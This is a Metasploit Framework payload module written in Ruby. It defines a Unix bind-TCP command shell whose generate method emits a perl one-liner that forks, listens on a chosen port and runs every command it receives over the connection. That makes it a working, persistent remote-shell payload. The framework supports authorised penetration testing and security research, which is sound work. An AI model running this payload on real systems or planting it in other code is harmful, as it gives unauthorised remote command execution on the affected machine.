metasploit-framework/modules/payloads/singles/cmd/unix/bind_perl.rb

59 lines
1.4 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind TCP (via perl)',
'Version' => '$Revision$',
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
'Author' => ['Samy <samy@samy.pl>', 'cazz'],
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd = "perl -MIO -e '$p=fork();exit,if$p;while($c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}'"
return cmd
end
end